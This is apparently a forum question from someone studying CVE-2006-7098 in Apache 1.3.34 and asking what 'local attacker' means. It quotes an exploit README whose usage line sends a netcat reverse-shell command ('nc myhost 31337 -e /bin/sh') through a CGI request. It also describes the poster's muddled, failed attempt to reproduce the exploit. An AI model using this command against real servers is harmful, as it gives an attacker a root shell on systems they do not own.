I'm studying the vulnerabilities of an old version of Apache, the 1.3.34. And I don't quite understand in what exact situation the CVE 2006-7098 vulnerability can be exploited. The README included in the exploit states that:
Local attacker can influence Apache to direct commands into an open tty owned by user who started apache process, usually root. This results in arbitrary command execution. Notes: Must have CGI execution privileges and service started manually by root via shell.
Usage: nc -vvv -l -p 31337 http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d
At the beginning I understood that the vulnerability could be exploited from another machine in the same network of the vulnerable server. So from this other machine (attacker) I:
- compiled the cgipwn exploit and installed it in the cgi-bin of the attacker machine apache.
- executed the nc command from the attacker machine specifying -p as the port where the attacker apache listens to, webserver as the attacker machine IP and myhost as the server with the vulnerability.
But I've not succeeded: the command just doesn't return anything.
So, after rereading the exploit info several times, I've certain doubts about the phrase local attacker: does it mean that the vulnerability can only be exploited from the same machine where the vulnerable Apache is running? In that case I understand that the attacker should have a priori the credentials of a valid user in the machine with permissions to manage the apache (which would reduce quite a lot the applicability of the attack).
Could any body shed some light on this?
